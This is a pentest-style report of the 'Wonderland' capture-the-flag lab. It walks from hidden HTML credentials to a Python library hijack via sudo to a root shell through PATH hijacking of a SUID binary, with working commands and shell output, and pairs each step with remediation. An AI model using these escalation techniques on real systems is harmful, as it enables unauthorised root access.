Document Control

Contents

1. Executive Summary

Assessment outcome

Testing identified one critical and two high severity findings affecting wonderland.thm. The host running a Golang web server embedded SSH credentials for the alice account in a hidden HTML paragraph at a discoverable URL path. These credentials provided initial SSH access.

From the alice account, a misconfigured sudo rule permitted execution of a Python script as the rabbit user. The script's Python import path was hijacked by placing a malicious module in the current directory, yielding a shell as rabbit. A SUID binary in rabbit's home directory called the date command without an absolute path, enabling PATH hijacking to obtain a root shell.

Impact

The compromise chain crossed from an unauthenticated web visitor to a root shell in three steps. Each step exploited a distinct control failure: credential exposure, unsafe sudo delegation, and an SUID binary with an unqualified command reference. Root access permits modification of all accounts, files and services on the host.

Priority recommendations

1. Remove credentials from HTML source immediately and rotate the affected SSH keys and passwords.
2. Restrict the alice sudo rule to prevent Python library hijacking, or remove it entirely.
3. Remove the SUID bit from the teaParty binary, or rewrite it to use absolute paths for all command invocations.

2. Assessment Scope and Methodology

2.1 Target and observed services

nmap -sV -sC -T4 <TARGET_IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Golang net/http server
|_http-title: Follow the white rabbit.

The web server title "Follow the white rabbit." hinted at the directory enumeration path: /r/a/b/b/i/t/. Credentials were found by viewing the page source at the final path node.

2.2 Approach

Web enumeration followed the thematic hint and manually navigated the URL directory structure. Page source review at /r/a/b/b/i/t/ revealed hidden credentials. SSH access with recovered credentials led to discovery of a misconfigured sudo rule and a SUID binary. Sudo was used for lateral movement; the SUID binary was exploited for privilege escalation.

2.3 Severity classification

3. Results Overview

3.1 Findings summary

3.2 Compromise sequence

3.3 Flag location note

The box inverts the typical flag layout: the root flag is in /home/alice/ (readable only after root access), and the user flag is in /root/. This is an intentional design element and does not represent an additional finding.

4.1 SSH Credentials Embedded in HTML Source

4. Technical Findings

Steps to reproduce

1. Browse to the web application and view the page source.
2. Navigate through directory paths hinted at in the page (e.g. /r/a/b/b/i/t/).
3. Identify credentials embedded in a hidden paragraph element in the page source.
4. Use the credentials to authenticate over SSH: ssh alice@<TARGET_IP>.

Evidence

# Page source at http://<TARGET_IP>/r/a/b/b/i/t/
<p style="display: none;">alice:[redacted]</p>

# SSH authentication using recovered credentials
ssh alice@<TARGET_IP>
alice@wonderland:~$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)

Evidence E-01. Hidden paragraph in page source contained plaintext SSH credentials. Password redacted. SSH authentication succeeded immediately.

Remediation

Remove all credential material from HTML source immediately and rotate the alice SSH password and any associated keys. Audit all web-accessible pages for similar embedded credentials. Implement a pre-commit check or web application scanning step to detect credential exposure before deployment.

4.2 Python Library Hijack via Sudo Delegation

4. Technical Findings

Steps to reproduce

1. Check what Python scripts a privileged user can run: sudo -l.
2. Identify a script that imports a Python library (e.g. import random).
3. Create a malicious version of that library in the current directory: echo 'import os; os.system("/bin/bash")' > random.py.
4. Run the script with sudo: sudo -u rabbit /usr/bin/python3 /home/alice/walrus_and_the_carpenter.py.
5. Observe that the malicious library is loaded and a shell executes as the privileged user.

Evidence

alice@wonderland:~$ sudo -l
User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3 /home/alice/walrus_and_the_carpenter.py

# Create malicious random.py in /home/alice/
alice@wonderland:~$ echo 'import os; os.system("/bin/bash")' > random.py

# Run script as rabbit — Python loads our random.py from cwd
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3 /home/alice/walrus_and_the_carpenter.py

rabbit@wonderland:/home/alice$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)

Evidence E-02. Python import search order exploited via writable current directory. Shell obtained as rabbit.

Remediation

Remove the sudo rule for alice or restrict it to a specific, argument-fixed invocation that does not allow the working directory to influence module loading. Consider using absolute imports and a fixed PYTHONPATH that excludes user-writable directories. Alternatively, run the script from a directory that alice cannot write to.

4.3 PATH Hijacking via SUID Binary

4. Technical Findings

Steps to reproduce

1. Find SUID binaries: find / -perm -4000 -type f 2>/dev/null.
2. Identify a binary that calls a system command without a full path (e.g. calls date instead of /bin/date) by running strings on the binary.
3. Create a malicious date script in /tmp: echo '#!/bin/bash' > /tmp/date && echo 'bash -p' >> /tmp/date && chmod +x /tmp/date.
4. Prepend /tmp to PATH: export PATH=/tmp:$PATH.
5. Run the SUID binary and observe a root shell.

Evidence

rabbit@wonderland:/home/rabbit$ ls -la teaParty
-rwsr-sr-x 1 root root 16816 May 25  2020 teaParty

rabbit@wonderland:/home/rabbit$ strings teaParty | grep date
/bin/echo -n 'Probably by ' && date --date='next hour' -R

# date is called without an absolute path
# Create fake date binary in /tmp
rabbit@wonderland:/home/rabbit$ cd /tmp
rabbit@wonderland:/tmp$ echo '/bin/bash' > date
rabbit@wonderland:/tmp$ chmod +x date

# Prepend /tmp to PATH
rabbit@wonderland:/tmp$ export PATH=/tmp:$PATH

# Run the SUID binary
rabbit@wonderland:/tmp$ /home/rabbit/teaParty

root@wonderland:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

root@wonderland:/tmp# cat /home/alice/root.txt
[redacted]

Evidence E-03. PATH hijacking via SUID binary. Fake date binary placed in /tmp and directory prepended to PATH. Root shell obtained when teaParty executed. Flag redacted. Reference: GTFOBins PATH hijacking.

Remediation

Remove the SUID bit from teaParty or rewrite the binary to use absolute paths for all command invocations, including /bin/date. Where a SUID binary must call external commands, set a safe, fixed PATH within the binary at startup. Audit all SUID binaries using find / -perm -4000 and review each for unqualified command references using strings.

5. Remediation and Assessment Closeout

5.1 Corrective action plan

No remediation retest is documented. Each finding includes verification criteria for closure.

5.2 Test artefacts

5.3 Evidence and limitations

Evidence blocks are sourced from the Wonderland assessment walkthrough. SSH passwords and flag values are redacted from all evidence blocks.

5.4 Evidence index